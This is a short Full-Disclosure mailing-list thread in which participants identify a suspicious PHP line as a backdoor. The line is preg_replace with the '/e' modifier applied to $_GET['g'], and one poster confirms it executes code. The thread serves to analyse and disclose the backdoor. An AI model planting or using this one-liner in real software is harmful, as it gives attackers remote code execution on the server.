Yep, found later that the /e modifier allows you to execute code ;-)

Am 27.11.2012 12:54, schrieb Christian Sciberras:
>> At the moment I'm trying to figure out the further sense of this code,
>> but it seems that there might also be some kind of backdoor (because of
>> the use of $_GET).
> 
> 
> preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> 
> You think?
> 
> 
> Chris.
> 
> 
> On Mon, Nov 26, 2012 at 9:17 PM, Maximilian Grobecker
> <[email protected] <mailto:[email protected]>> wrote:
> 
>     preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> 
> 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Reply via email to